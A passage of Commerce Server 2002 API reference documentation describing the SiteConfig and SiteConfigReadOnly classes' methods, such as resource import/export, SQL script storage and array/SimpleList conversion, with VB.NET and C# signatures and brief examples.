The Initialize method must be called before this method can be used.

Requirements

Namespace: Microsoft.CommerceServer.Interop.Configuration

Platforms: Windows 2000, Windows .Net Server Family

Assembly: cs_mscscfg (in cs_mscscfg.dll)

See Also

SiteConfig Class


SiteConfig.ExportResource Method (PIA)

Use this method to write the specified resource, resource properties, and attributes to the specified file.

Definition

[Visual Basic .NET]
Imports Microsoft.CommerceServer.Interop.Configuration
…
Public Sub ExportResource(
  bstrResourceName As String,
  bstrFileName As String
)
[C#]
using Microsoft.CommerceServer.Interop.Configuration;
…
public void ExportResource(
  string bstrResourceName,
  string bstrFileName
);

Parameters

[Visual Basic .NET]
bstrResourceName
A String that contains the resource name.
bstrFileName
A String that contains the destination file name for the resource export.
[C#]
bstrResourceName
A string that contains the resource name.
bstrFileName
A string that contains the destination file name for the resource export.

Exceptions

This method may throw one of many mapped exceptions or an exception of type COMException. See Standard COM Errors for additional details.

Remarks

The Initialize method must be called before this method can be used.

This method and the ImportResource method are complements of each other. This method creates the file that ImportResource consumes.

[Visual Basic .NET]

Example

' sMyResource and sMyFileName.txt are strings
' oSiteConfig is a Commerce SiteConfig object
oSiteConfig.ExportResource(sMyResource, sMyFileName.txt)

Requirements

Namespace: Microsoft.CommerceServer.Interop.Configuration

Platforms: Windows 2000, Windows .Net Server Family

Assembly: cs_mscscfg (in cs_mscscfg.dll)

See Also

SiteConfig Class


SiteConfig.GetAppsInSite Method (PIA)

Use this method to get a list of Commerce Server 2002 applications for the specified site.

Definition

[Visual Basic .NET]
Imports Microsoft.CommerceServer.Interop.Configuration
…
Public Function GetAppsInSite(
  ByRef strSiteName As String
) As Object
[C#]
using Microsoft.CommerceServer.Interop.Configuration;
…
public object GetAppsInSite(
  ref string strSiteName
);

Parameters

[Visual Basic .NET]
strSiteName
A String that contains the name of the site for which you want the list of running Commerce Server 2002 applications.
[C#]
strSiteName
A string that contains the name of the site for which you want the list of Commerce Server 2002 applications that are currently running.

Return Values

[Visual Basic .NET] If this method completes successfully, it returns an Object that contains the list of Commerce Server 2002 applications.

[C#] This method returns an object containing the list of Commerce Server 2002 applications.

Exceptions

This method may throw one of many mapped exceptions or an exception of type COMException. See Standard COM Errors for additional details.

Remarks

The Initialize method must be called before this method can be used.

[Visual Basic .NET]

Example

' sMySiteName is a string
' oObject is an Object
' oSiteConfig is a Commerce SiteConfig object
oObject = oSiteConfig.GetAppsInSite(sMySiteName)

Requirements

Namespace: Microsoft.CommerceServer.Interop.Configuration

Platforms: Windows 2000, Windows .Net Server Family

Assembly: cs_mscscfg (in cs_mscscfg.dll)

See Also

SiteConfig Class


SiteConfig.GetIfCollection Method (PIA)

Use this method to convert values read from the Fields property into the appropriate object, such as a SimpleList object or System.Array.

Definition

[Visual Basic .NET]
Imports Microsoft.CommerceServer.Interop.Configuration
…
Public Function GetIfCollection(
  ByRef strList As Object
) As Object
[C#]
using Microsoft.CommerceServer.Interop.Configuration;
…
public object GetIfCollection(
  ref object strList
);

Parameters

[Visual Basic .NET]
strList
An Object that contains the encoded string to be converted.
[C#]
strList
An object that contains the encoded string to be converted.

Return Values

[Visual Basic .NET] If this method completes successfully, it returns an Object containing the converted data in the appropriate data type.

[C#] This method returns an object containing the converted data in the appropriate data type.

Exceptions

This method may throw one of many mapped exceptions or an exception of type COMException. See Standard COM Errors for additional details.

Remarks

If the encoding in the string contained in the Fields property indicates a SimpleList object, then a SimpleList object is returned. If the encoding indicates a System.Array, then a System.Array is returned. If no collection object is indicated, then the method returns the original encoded input string.

[Visual Basic .NET]

Example

' oObject is an Object; oEncodedString is an Object
' oSiteConfig is a Commerce SiteConfig object
oObject = oSiteConfig.GetIfCollection(oEncodedString)

Requirements

Namespace: Microsoft.CommerceServer.Interop.Configuration

Platforms: Windows 2000, Windows .Net Server Family

Assembly: cs_mscscfg (in cs_mscscfg.dll)

See Also

SiteConfig Class


SiteConfig.GetResourcePropAttrib Method (PIA)

Use this method to get a Dictionary object of key/value pairs that denote the attributes of the specified property of the specified resource.

Definition

[Visual Basic .NET]
Imports Microsoft.CommerceServer.Interop     ‘ for IDictionary
Imports Microsoft.CommerceServer.Interop.Configuration
…
Public Function GetResourcePropAttrib(
  strResourceName As String,
  strPropName As String
) As IDictionary
[C#]
using Microsoft.CommerceServer.Interop;
using Microsoft.CommerceServer.Interop.Configuration;
…
public IDictionary GetResourcePropAttrib(
  string strResourceName,
  string strPropName
);

Parameters

[Visual Basic .NET]
strResourceName
A String that contains the resource name.
strPropName
A String that contains the resource property name.
[C#]
strResourceName
A string that contains the resource name.
strPropName
A string that contains the resource property name.

Return Values

[Visual Basic .NET] If this method completes successfully, it returns an object reference to an object that implements the IDictionary interface containing the key/value pairs that denote the attributes of the specified property of the specified resource.

[C#] An object that implements the Microsoft.CommerceServer.Interop.IDictionary interface, used to return the key/value pairs that denote the attributes of the specified property of the specified resource.

Exceptions

This method may throw one of many mapped exceptions or an exception of type COMException. See Standard COM Errors for additional details.

Remarks

The Initialize method must be called before this method can be used.

[Visual Basic .NET]

Example

' dDict is a Dictionary object
' sMyCatalog is an existing resource
' connstr_desc_Catalog is a valid Catalog resource property
' oSiteConfig is a Commerce SiteConfig object
dDict = _
oSiteConfig.GetResourcePropAttrib(sMyCatalog, connstr_desc_Catalog)

Requirements

Namespace: Microsoft.CommerceServer.Interop.Configuration

Platforms: Windows 2000, Windows .Net Server Family

Assembly: cs_mscscfg (in cs_mscscfg.dll)

See Also

SiteConfig Class


SiteConfig.GetSQLScript Method (PIA)

Use this method to get the specified SQL script file from the Administration database.

Definition

[Visual Basic .NET]
Imports Microsoft.CommerceServer.Interop.Configuration
…
Public Function GetSQLScript(
  sResource As String,
  sScriptName As String
) As String
[C#]
using Microsoft.CommerceServer.Interop.Configuration;
…
public string GetSQLScript(
  string sResource,
  string sScriptName
);

Parameters

[Visual Basic .NET]
sResource
A String that contains the resource associated with the required SQL script file.
sScriptName
A String that contains the file name of the required SQL script file.
[C#]
sResource
A string that contains the resource associated with the required SQL script file.
sScriptName
A string that contains the file name of the required SQL script file.

Return Values

[Visual Basic .NET] If this method completes successfully, it returns a String that contains the SQL script file contents.

[C#] A string containing the SQL script file contents.

Exceptions

This method may throw one of many mapped exceptions or an exception of type COMException. See Standard COM Errors for additional details.

Remarks

The Initialize method must be called before this method can be used.

[Visual Basic .NET]

Example

' sMyCatalog is an existing resource
' sMySQLFileName.sql and sContents are strings
' oSiteConfig is a Commerce SiteConfig object
sContents = oSiteConfig.GetSQLScript(sMyCatalog, sMySQLFileName.sql)

Requirements

Namespace: Microsoft.CommerceServer.Interop.Configuration

Platforms: Windows 2000, Windows .Net Server Family

Assembly: cs_mscscfg (in cs_mscscfg.dll)

See Also

SiteConfig Class


SiteConfig.ImportResource Method (PIA)

Use this method to read the specified resource, resource properties, and attributes from the specified file, and write them to the Commerce Server 2002 database.

Definition

[Visual Basic .NET]
Imports Microsoft.CommerceServer.Interop.Configuration
…
Public Sub ImportResource(
  bstrFileName As String
)
[C#]
using Microsoft.CommerceServer.Interop.Configuration;
…
public void ImportResource(
  string bstrFileName
);

Parameters

[Visual Basic .NET]
bstrFileName
A String that contains the file name.
[C#]
bstrFileName
A string that contains the file name.

Exceptions

This method may throw one of many mapped exceptions or an exception of type COMException. See Standard COM Errors for additional details.

Remarks

The Initialize method must be called before this method can be used.

This method is the complement of the ExportResource method. It consumes the file that ExportResource creates.

[Visual Basic .NET]

Example

' sMyFileName is a string
sMyFileName = "C:\ExportedFile.txt"
' oSiteConfig is a Commerce SiteConfig object
oSiteConfig.ImportResource(sMyFileName)

Requirements

Namespace: Microsoft.CommerceServer.Interop.Configuration

Platforms: Windows 2000, Windows .Net Server Family

Assembly: cs_mscscfg (in cs_mscscfg.dll)

See Also

SiteConfig Class


SiteConfig.Initialize Method (PIA)

Use this method to load the site configuration from the Administration database.

Definition

[Visual Basic .NET]
Imports Microsoft.CommerceServer.Interop.Configuration
…
Public Sub Initialize(
  bstrSiteName As String
)
[C#]
using Microsoft.CommerceServer.Interop.Configuration;
…
public void Initialize(
  string bstrSiteName
);

Parameters

[Visual Basic .NET]
bstrSiteName
A String that contains the site name.
[C#]
bstrSiteName
A string that contains the site name.

Exceptions

This method may throw one of many mapped exceptions or an exception of type COMException. See Standard COM Errors for additional details.

[Visual Basic .NET]

Example

' sMySiteName is a string
' oSiteConfig is a Commerce SiteConfig object
oSiteConfig.Initialize(sMySiteName)

Requirements

Namespace: Microsoft.CommerceServer.Interop.Configuration

Platforms: Windows 2000, Windows .Net Server Family

Assembly: cs_mscscfg (in cs_mscscfg.dll)

See Also

SiteConfig Class


SiteConfig.MakeArrayFromSimpleList Method (PIA)

[Visual Basic .NET] Use this method to convert the specified SimpleList object into an Array.

[C#] Use this method to convert the specified SimpleList object into a System.Array.

Definition

[Visual Basic .NET]
Imports Microsoft.CommerceServer.Interop.Configuration
…
Public Function MakeArrayFromSimpleList(
  ByRef list As Object
) As Object
[C#]
using Microsoft.CommerceServer.Interop.Configuration;
…
public object MakeArrayFromSimpleList(
  ref object list
);

Parameters

[Visual Basic .NET]
list
An object reference to the SimpleList object that you want to convert into a System.Array.
[C#]
list
A SimpleList object that you want to convert into a System.Array.

Return Values

[Visual Basic .NET] If this method completes successfully, it returns an Object containing the converted System.Array.

[C#] This method returns the converted System.Array.

Exceptions

This method may throw one of many mapped exceptions or an exception of type COMException. See Standard COM Errors for additional details.

Remarks

Important

  • A special group of methods is used with multi-valued arrays. These methods are the only approved and recommended way of storing and retrieving multi-valued arrays in the Administration database. You must use the following methods with any property that has the structure of a multi-valued array:
    • MakeArrayFromSimpleList
    • MakeSimpleListFromArray
    • MakeArrayFromString
    • MakeStringFromArray
[Visual Basic .NET]

Example

' oMyObject is an Object
' varMySimpleList is a SimpleList object
' oSiteConfigReadOnly is a Commerce SiteConfigReadOnly object
oMyObject = oSiteConfigReadOnly.MakeArrayFromSimpleList(varMySimpleList)

Requirements

Namespace: Microsoft.CommerceServer.Interop.Configuration

Platforms: Windows 2000, Windows .Net Server Family

Assembly: cs_mscscfg (in cs_mscscfg.dll)

See Also

SiteConfig Class


SiteConfig.MakeArrayFromString Method (PIA)

Use this method to convert an encoded string read from the Fields property into a System.Array. If the encoded string does not indicate System.Array properties, then the method returns the original string that was passed into it.

Definition

[Visual Basic .NET]
Imports Microsoft.CommerceServer.Interop.Configuration
…
Public Function MakeArrayFromString(
  strList As Object
) As Object
[C#]
using Microsoft.CommerceServer.Interop.Configuration;
…
public object MakeArrayFromString(
  object strList
);

Parameters

[Visual Basic .NET]
strList
An Object that contains the encoded string.
[C#]
strList
An object that contains the encoded string.

Return Values

[Visual Basic .NET] If this method completes successfully, it returns an Object that contains the converted System.Array or unconverted String.

[C#] This method returns an object used to return the converted System.Array or unconverted string.

Exceptions

This method may throw one of many mapped exceptions or an exception of type COMException. See Standard COM Errors for additional details.

Remarks

Important

  • A special group of methods is used with multi-valued arrays. These methods are the only approved and recommended way of storing and retrieving multi-valued arrays in the Administration database. You must use the following methods with any property that has the structure of a multi-valued array:
    • MakeArrayFromSimpleList
    • MakeSimpleListFromArray
    • MakeArrayFromString
    • MakeStringFromArray

Note

  • This method can only be used on values exposed by the Fields object. The client-side disconnected ADO recordset has no support for arrays or objects as Fields columns. Therefore, the SiteConfig object resorts to storing data in an encoded string format.
[Visual Basic .NET]

Example

' oEncoded is an Object containing an encoded string
' read from the Fields property
' oArray is an Object
' oSiteConfigReadOnly is a Commerce SiteConfigReadOnly object
oArray = oSiteConfigReadOnly.MakeArrayFromString(oEncoded)

Requirements

Namespace: Microsoft.CommerceServer.Interop.Configuration

Platforms: Windows 2000, Windows .Net Server Family

Assembly: cs_mscscfg (in cs_mscscfg.dll)

See Also

SiteConfig Class


SiteConfig.MakeSimpleListFromArray Method (PIA)

Use this method to convert a System.Array into a SimpleList object.

Definition

[Visual Basic .NET]
Imports Microsoft.CommerceServer.Interop.Configuration
…
Public Function MakeSimpleListFromArray(
  ByRef varArray As Object
) As Object
[C#]
using Microsoft.CommerceServer.Interop.Configuration;
…
public object MakeSimpleListFromArray(
  ref object varArray
);

Parameters

[Visual Basic .NET]
varArray
An Object that contains the SimpleList object to convert.
[C#]
varArray
An object that contains the System.Array to convert.

Return Values

[Visual Basic .NET] If this method completes successfully, it returns an object reference to the converted SimpleList object.

[C#] This method returns the converted SimpleList object.

Exceptions

This method may throw one of many mapped exceptions or an exception of type COMException. See Standard COM Errors for additional details.

Remarks

Important

  • A special group of methods is used with multi-valued arrays. These methods are the only approved and recommended way of storing and retrieving multi-valued arrays in the Administration database. You must use the following methods with any property that has the structure of a multi-valued array:
    • MakeArrayFromSimpleList
    • MakeSimpleListFromArray
    • MakeArrayFromString
    • MakeStringFromArray
[Visual Basic .NET]

Example

' oMyArray is an Object
' varMySimpleList is an object reference to a SimpleList object
' oSiteConfigReadOnly is a Commerce SiteConfigReadOnly object
varMySimpleList = oSiteConfigReadOnly.MakeSimpleListFromArray(oMyArray)

Requirements

Namespace: Microsoft.CommerceServer.Interop.Configuration

Platforms: Windows 2000, Windows .Net Server Family

Assembly: cs_mscscfg (in cs_mscscfg.dll)

See Also

SiteConfig Class


SiteConfig.MakeStringFromArray Method (PIA)

Use this method to convert a System.Array object into an encoded string, which can be written to the Fields property.

Definition

[Visual Basic .NET]
Imports Microsoft.CommerceServer.Interop.Configuration
…
Public Function MakeStringFromArray(
  ByRef varArray As Object
) As Object
[C#]
using Microsoft.CommerceServer.Interop.Configuration;
…
public object MakeStringFromArray(
  ref object varArray
);

Parameters

[Visual Basic .NET]
varArray
An Object that contains the System.Array to encode.
[C#]
varArray
An object that contains the System.Array to encode.

Return Values

[Visual Basic .NET] If this method completes successfully, it returns an Object that contains the encoded string.

[C#] This method returns an object used to hold the encoded string.

Exceptions

This method may throw one of many mapped exceptions or an exception of type COMException. See Standard COM Errors for additional details.

Remarks

Important

  • A special group of methods is used with multi-valued arrays. These methods are the only approved and recommended way of storing and retrieving multi-valued arrays in the Administration database. You must use the following methods with any property that has the structure of a multi-valued array:
    • MakeArrayFromSimpleList
    • MakeSimpleListFromArray
    • MakeArrayFromString
    • MakeStringFromArray

Note

  • This method can only be used when updating values exposed by the Fields object. The client-side disconnected ADO recordset has no support for arrays or objects as Fields columns. Therefore, the SiteConfig object resorts to storing data in an encoded string format.
[Visual Basic .NET]

Example

' oEncoded is an Object
' oArray is an Object
' oSiteConfigReadOnly is a Commerce SiteConfigReadOnly object
oEncoded = oSiteConfigReadOnly.MakeStringFromArray(oArray)

Requirements

Namespace: Microsoft.CommerceServer.Interop.Configuration

Platforms: Windows 2000, Windows .Net Server Family

Assembly: cs_mscscfg (in cs_mscscfg.dll)

See Also

SiteConfig Class


SiteConfig.MakeStringFromSimpleList Method (PIA)

Use this method to convert a SimpleList object into an encoded string that can be written to the Fields property.

Definition

[Visual Basic .NET]
Imports Microsoft.CommerceServer.Interop.Configuration
…
Function MakeStringFromSimpleList(
  ByRef slist As Object
) As String
[C#]
using Microsoft.CommerceServer.Interop.Configuration;
…
public string MakeStringFromSimpleList(
  ref object slist
);

Parameters

[Visual Basic .NET]
slist
An object reference to the SimpleList object that you want to convert into an encoded string.
[C#]
slist
A SimpleList object that you want to convert into an encoded string.

Return Values

This method returns the encoded string.

Exceptions

This method may throw one of many mapped exceptions or an exception of type COMException. See Standard COM Errors for additional details.

Remarks

Important

  • A special group of methods is used with multi-valued arrays. These methods are the only approved and recommended way of storing and retrieving multi-valued arrays in the Administration database. You must use the following methods with any property that has the structure of a multi-valued array:
    • MakeArrayFromSimpleList
    • MakeSimpleListFromArray
    • MakeArrayFromString
    • MakeStringFromArray

Note

  • This method can only be used when updating values exposed by the Fields object. The client-side disconnected ADO recordset has no support for arrays, SimpleLists, or objects as Fields columns. Therefore, the SiteConfig object resorts to storing data in an encoded string format.
[Visual Basic .NET]

Example

' vEncoded is a string
' varMySimpleList is a SimpleList object
' oSiteConfigReadOnly is a Commerce SiteConfigReadOnly object
vEncoded = oSiteConfigReadOnly.MakeStringFromSimpleList(varMySimpleList)

Requirements

Namespace: Microsoft.CommerceServer.Interop.Configuration

Platforms: Windows 2000, Windows .Net Server Family

Assembly: cs_mscscfg (in cs_mscscfg.dll)

See Also

SiteConfig Class


SiteConfig.PutSQLScript Method (PIA)

Use this method to put the specified SQL script file into the Administration database.

Definition

[Visual Basic .NET]
Imports Microsoft.CommerceServer.Interop.Configuration
…
Public Sub PutSQLScript(
  sResource As String,
  sScriptName As String,
  sScriptContents As String
)
[C#]
using Microsoft.CommerceServer.Interop.Configuration;
…
public void PutSQLScript(
  string sResource,
  string sScriptName,
  string sScriptContents
);

Parameters

[Visual Basic .NET]
sResource
A String that contains the name of the resource associated with the SQL script file.
sScriptName
A String that contains the name of the SQL script file.
sScriptContents
A String that contains the SQL script file contents.
[C#]
sResource
A string that contains the name of the resource associated with the SQL script file.
sScriptName
A string that contains the name of the SQL script file.
sScriptContents
A string that contains the SQL script file contents.

Exceptions

This method may throw one of many mapped exceptions or an exception of type COMException. See Standard COM Errors for additional details.

Remarks

The Initialize method must be called before this method can be used.

[Visual Basic .NET]

Example

' sMySQLFileName.sql, sMyRes and sMyContents are strings
' oSiteConfig is a Commerce SiteConfig object
oSiteConfig.PutSQLScript(sMyRes, "sMySQLFileName.sql" ,sMyContents )

Requirements

Namespace: Microsoft.CommerceServer.Interop.Configuration

Platforms: Windows 2000, Windows .Net Server Family

Assembly: cs_mscscfg (in cs_mscscfg.dll)

See Also

SiteConfig Class


SiteConfig.SaveConfig Method (PIA)

Use this method to save any site configuration settings that have been changed or updated.

Definition

[Visual Basic .NET]
Imports Microsoft.CommerceServer.Interop.Configuration
…
Public Sub SaveConfig()
[C#]
using Microsoft.CommerceServer.Interop.Configuration;
…
public void SaveConfig();

Exceptions

This method may throw one of many mapped exceptions or an exception of type COMException. See Standard COM Errors for additional details.

Remarks

The Initialize method must be called before this method can be used.

This method saves the entire configuration for a site. If two users are trying to update different parts of the site configuration at the same time, the last one to save will overwrite the changes made by the first user updating the site configuration.

Requirements

Namespace: Microsoft.CommerceServer.Interop.Configuration

Platforms: Windows 2000, Windows .Net Server Family

Assembly: cs_mscscfg (in cs_mscscfg.dll)

See Also

SiteConfig Class


SiteConfig Properties (PIA)

Properties

Property | Type | Description
Fields | ADODB26Lib.Fields | Returns configuration fields, some of which hold configuration settings of resources. This property is read-only.


SiteConfig.Fields Property (PIA)

The Fields property is a read-only Fields object. The Fields object contents include recordsets that hold the configuration settings of resources. A Fields object is an ADODB26Lib.Fields collection.

Definition

[Visual Basic .NET]
Imports Microsoft.CommerceServer.Interop.Configuration
Imports ADODB26Lib     ‘ for Fields
…
Public ReadOnly Property Fields As Fields
[C#]
using Microsoft.CommerceServer.Interop.Configuration;
using ADODB26Lib;                              //For Fields
…
public Fields Fields {get; }

Property Value

This property returns a collection of ADO26DBLib.Field objects.

Exceptions

This property may throw one of many mapped exceptions or an exception of type COMException. See Standard COM Errors for additional details.

Requirements

Namespace: Microsoft.CommerceServer.Interop.Configuration

Platforms: Windows 2000, Windows .Net Server Family

Assembly: cs_mscscfg (in cs_mscscfg.dll)

See Also

SiteConfig Class


SiteConfigReadOnly Class (PIA)

Use this object to load site configuration information from the Administration database.

Methods

Method | Description
GetAppsInSite | Gets a list of Commerce Server 2002 applications for the specified site.
GetIfCollection | Use this method to convert values read from the Fields property, if appropriate, into either a SimpleList object or a System.Array.
Initialize | Loads the site configuration data from the Administration database.
MakeArrayFromSimpleList | Converts the specified SimpleList object into a System.Array.
MakeArrayFromString | Converts values read from the Fields property into a System.Array.
MakeSimpleListFromArray | Converts a System.Array into a SimpleList object.
MakeStringFromArray | Converts a System.Array into an encoded string, which can be written to the Fields property.
MakeStringFromSimpleList | Converts a SimpleList object into an encoded string, which can be written to the Fields property.

Properties

Property | Type | Description
Fields | ADODB26Lib.Fields | Returns configuration settings of the site and the site resources. This property is read-only.

Remarks

The SiteConfigReadOnly object allows access to more configuration data than does the SiteConfig object. With the SiteConfigReadOnly object, group resource values are returned when you access references to resources. In contrast, with the SiteConfig object, only references to the names of the resources are returned.

Depending on how you add your own custom resource, you should be able to use this object to access configuration settings from the Administration database.

Requirements

Namespace: Microsoft.CommerceServer.Interop.Configuration

Platforms: Windows 2000, Windows .Net Server Family

Assembly: cs_mscscfg (cs_mscscfg)

See Also

Configuration Objects

Integrating Custom Resources

GlobalConfig Class

SiteConfig Class


SiteConfigReadOnly Methods (PIA)

Methods

Method | Description
GetAppsInSite | Gets a list of Commerce Server 2002 applications for the specified site.
GetIfCollection | Use this method to convert values read from the Fields property, if appropriate, into either a SimpleList object or a System.Array.
Initialize | Loads the site configuration data from the Administration database.
MakeArrayFromSimpleList | Converts the specified SimpleList object into a System.Array.
MakeArrayFromString | Converts values read from the Fields property into a System.Array.
MakeSimpleListFromArray | Converts a System.Array into a SimpleList object.
MakeStringFromArray | Converts a System.Array into an encoded string, which can be written to the Fields property.
MakeStringFromSimpleList | Converts a SimpleList object into an encoded string, which can be written to the Fields property.


SiteConfigReadOnly.GetAppsInSite Method (PIA)

Use this method to get a list of Commerce Server 2002 applications for the specified site.

Definition

[Visual Basic .NET]
Imports Microsoft.CommerceServer.Interop.Configuration
…
Public Function GetAppsInSite(
  ByRef strSiteName As String
) As Object
[C#]
using Microsoft.CommerceServer.Interop.Configuration;
…
object GetAppsInSite(
  ref string strSiteName
);

Parameters

[Visual Basic .NET]
strSiteName
A String that contains the name of the site for which you want the list of running Commerce Server 2002 applications.
[C#]
strSiteName
A string that contains the name of the site for which you want the list of Commerce Server 2002 applications that are currently running.

Return Values

[Visual Basic .NET] If this method completes successfully, it returns an Object that contains the list of Commerce Server 2002 applications.

[C#] This method returns an object containing the list of Commerce Server 2002 applications.

Exceptions

This method may throw one of many mapped exceptions or an exception of type COMException. See Standard COM Errors for additional details.

Remarks

The Initialize method must be called before this method can be used.

[Visual Basic .NET]

Example

' sMySiteName is a String
' oObject is an Object
' oSiteConfigReadOnly is a Commerce SiteConfigReadOnly object
oObject = oSiteConfigReadOnly.GetAppsInSite(sMySiteName)

Requirements

Namespace: Microsoft.CommerceServer.Interop.Configuration

Platforms: Windows 2000, Windows .Net Server Family

Assembly: cs_mscscfg (cs_mscscfg)

See Also

SiteConfigReadOnly Class


SiteConfigReadOnly.GetIfCollection Method (PIA)

Use this method to convert values read from the Fields property into the appropriate object such as a SimpleList object or System.Array.

Definition

[Visual Basic .NET]
Imports Microsoft.CommerceServer.Interop.Configuration
…
Public Function GetIfCollection(
  ByRef strList As Object
) As Object
[C#]
using Microsoft.CommerceServer.Interop.Configuration;
…
object GetIfCollection(
  ref object strList
);

Parameters

[Visual Basic .NET]
strList
An Object that contains the encoded string to be converted.
[C#]
strList
An object that contains the encoded string to be converted.

Return Values

[Visual Basic .NET] If this method completes successfully, it returns an Object containing the converted data in the appropriate data type.

[C#] This method returns an object containing the converted data in the appropriate data type.

Exceptions

This method may throw one of many mapped exceptions or an exception of type COMException. See Standard COM Errors for additional details.

Remarks

If the encoding in the string contained in the Fields property indicates a SimpleList object, then a SimpleList object is returned. If the encoding indicates a System.Array, then a System.Array is returned. If no collection object is indicated, then the method returns the original encoded input string.

[Visual Basic .NET]

Example

' oObject is an Object; oEncodedString is an Object
' oSiteConfigReadOnly is a Commerce SiteConfigReadOnly object
oObject = oSiteConfigReadOnly.GetIfCollection(oEncodedString)

Requirements

Namespace: Microsoft.CommerceServer.Interop.Configuration

Platforms: Windows 2000, Windows .Net Server Family

Assembly: cs_mscscfg (cs_mscscfg)

See Also

SiteConfigReadOnly Class


SiteConfigReadOnly.Initialize Method (PIA)

Use this method to load the site configuration from the Administration database.

Definition

[Visual Basic .NET]
Imports Microsoft.CommerceServer.Interop.Configuration
…
Public Sub Initialize(
  bstrSiteName As String
)
[C#]
using Microsoft.CommerceServer.Interop.Configuration;
…
void Initialize(
  string bstrSiteName
);

Parameters

[Visual Basic .NET]
bstrSiteName
A String that contains the site name.
[C#]
bstrSiteName
A string that contains the site name.

Exceptions

This method may throw one of many mapped exceptions or an exception of type COMException. See Standard COM Errors for additional details.

Remarks

The Initialize method must be called before the object can be used.

[Visual Basic .NET]

Example

' sMySiteName is a string
' oSiteConfigReadOnly is a Commerce SiteConfigReadOnly object
oSiteConfigReadOnly.Initialize(sMySiteName)

See Also

SiteConfigReadOnly Class


SiteConfigReadOnly.MakeArrayFromSimpleList Method (PIA)

Use this method to convert the specified SimpleList object into a System.Array.

Definition

[Visual Basic .NET]
Imports Microsoft.CommerceServer.Interop.Configuration
…
Function MakeArrayFromSimpleList(
  ByRef list As Object
) As Object
[C#]
using Microsoft.CommerceServer.Interop.Configuration;
…
object MakeArrayFromSimpleList(
  ref object list
);

Parameters

[Visual Basic .NET]
list
The object reference to the SimpleList object that you want to convert into a System.Array.
[C#]
list
A SimpleList object that you want to convert into a System.Array.

Return Values

[Visual Basic .NET] If this method completes successfully, it returns an Object containing the converted System.Array.

[C#] This method returns the converted System.Array.

Exceptions

This method may throw one of many mapped exceptions or an exception of type COMException. See Standard COM Errors for additional details.

Remarks

Important

  • There is a special group of methods used with multi-valued arrays. These methods are the only approved and recommended way of storing and retrieving multi-valued arrays in the Administration database. You must use the following methods with any property that has the structure of a multi-valued array:
    • MakeArrayFromSimpleList
    • MakeSimpleListFromArray
    • MakeArrayFromString
    • MakeStringFromArray
[Visual Basic .NET]

Example

' oMyObject is an Object
' varMySimpleList is a SimpleList object
' oSiteConfigReadOnly is a Commerce SiteConfigReadOnly object
oMyObject = oSiteConfigReadOnly.MakeArrayFromSimpleList(varMySimpleList)

Requirements

Namespace: Microsoft.CommerceServer.Interop.Configuration

Platforms: Windows 2000, Windows .Net Server Family

Assembly: cs_mscscfg (cs_mscscfg)

See Also

SiteConfigReadOnly Class


SiteConfigReadOnly.MakeArrayFromString Method (PIA)

Use this method to convert an encoded string read from the Fields property into a System.Array. If the encoded string does not indicate System.Array properties, then the method returns the original string that was passed into it.

Definition

[Visual Basic .NET]
Imports Microsoft.CommerceServer.Interop.Configuration
…
Public Function MakeArrayFromString(
  strList As Object
) As Object
[C#]
using Microsoft.CommerceServer.Interop.Configuration;
…
object MakeArrayFromString(
  object strList
);

Parameters

[Visual Basic .NET]
strList
An Object that contains the encoded string.
[C#]
strList
An object that contains the encoded string.

Return Values

[Visual Basic .NET] If this method completes successfully, it returns an Object that contains the converted System.Array or unconverted String.

[C#] This method returns an object used to return the converted System.Array or unconverted string.

Exceptions

This method may throw one of many mapped exceptions or an exception of type COMException. See Standard COM Errors for additional details.

Remarks

Important

  • There is a special group of methods used with multi-valued arrays. These methods are the only approved and recommended way of storing and retrieving multi-valued arrays in the Administration database. You must use the following methods with any property that has the structure of a multi-valued array:
    • MakeArrayFromSimpleList
    • MakeSimpleListFromArray
    • MakeArrayFromString
    • MakeStringFromArray

Note

  • This method can only be used on values exposed by the Fields object. The client-side disconnected ADO recordset has no support for arrays or objects as Fields columns. Therefore, the SiteConfigReadOnly object resorts to storing data in an encoded string format.
[Visual Basic .NET]

Example

' oEncoded is an Object containing an encoded string
‘ read from the Fields property
' oArray is an Object
' oSiteConfigReadOnly is a Commerce SiteConfigReadOnly object
oArray = oSiteConfigReadOnly.MakeArrayFromString(oEncoded)

Requirements

Namespace: Microsoft.CommerceServer.Interop.Configuration

Platforms: Windows 2000, Windows .Net Server Family

Assembly: cs_mscscfg (cs_mscscfg)

See Also

SiteConfigReadOnly Class


SiteConfigReadOnly.MakeSimpleListFromArray Method (PIA)

Use this method to convert a System.Array into a SimpleList object.

Definition

[Visual Basic .NET]
Imports Microsoft.CommerceServer.Interop.Configuration
…
Public Function MakeSimpleListFromArray(
  ByRef varArray As Object
) As Object
[C#]
using Microsoft.CommerceServer.Interop.Configuration;
…
object MakeSimpleListFromArray(
  ref object varArray
);

Parameters

[Visual Basic .NET]
varArray
An Object that contains the SimpleList object to convert.
[C#]
varArray
An object that contains the System.Array to convert.

Return Values

[Visual Basic .NET] If this method completes successfully, it returns an object reference to the converted SimpleList object.

[C#] This method returns the converted SimpleList object.

Exceptions

This method may throw one of many mapped exceptions or an exception of type COMException. See Standard COM Errors for additional details.

Remarks

Important

  • There is a special group of methods used with multi-valued arrays. These methods are the only approved and recommended way of storing and retrieving multi-valued arrays in the Administration database. You must use the following methods with any property that has the structure of a multi-valued array:
    • MakeArrayFromSimpleList
    • MakeSimpleListFromArray
    • MakeArrayFromString
    • MakeStringFromArray
[Visual Basic .NET]

Example

' oMyArray is an Object
' varMySimpleList is an object reference to a SimpleList object
' oSiteConfigReadOnly is a Commerce SiteConfigReadOnly object
varMySimpleList = oSiteConfigReadOnly.MakeSimpleListFromArray(oMyArray)

Requirements

Namespace: Microsoft.CommerceServer.Interop.Configuration

Platforms: Windows 2000, Windows .Net Server Family

Assembly: cs_mscscfg (cs_mscscfg)

See Also

SiteConfigReadOnly Class


SiteConfigReadOnly.MakeStringFromArray Method (PIA)

Use this method to convert a System.Array object into an encoded string, which can be written to the Fields property.

Definition

[Visual Basic .NET]
Imports Microsoft.CommerceServer.Interop.Configuration
…
Public Function MakeStringFromArray(
  ByRef varArray As Object
) As Object
[C#]
using Microsoft.CommerceServer.Interop.Configuration;
…
object MakeStringFromArray(
  ref object varArray
);

Parameters

[Visual Basic .NET]
varArray
An Object that contains the System.Array to encode.
[C#]
varArray
An object that contains the System.Array to encode.

Return Values

[Visual Basic .NET] If this method completes successfully, it returns an Object that contains the encoded string.

[C#] This method returns an object used to hold the encoded string.

Exceptions

This method may throw one of many mapped exceptions or an exception of type COMException. See Standard COM Errors for additional details.

Remarks

Important

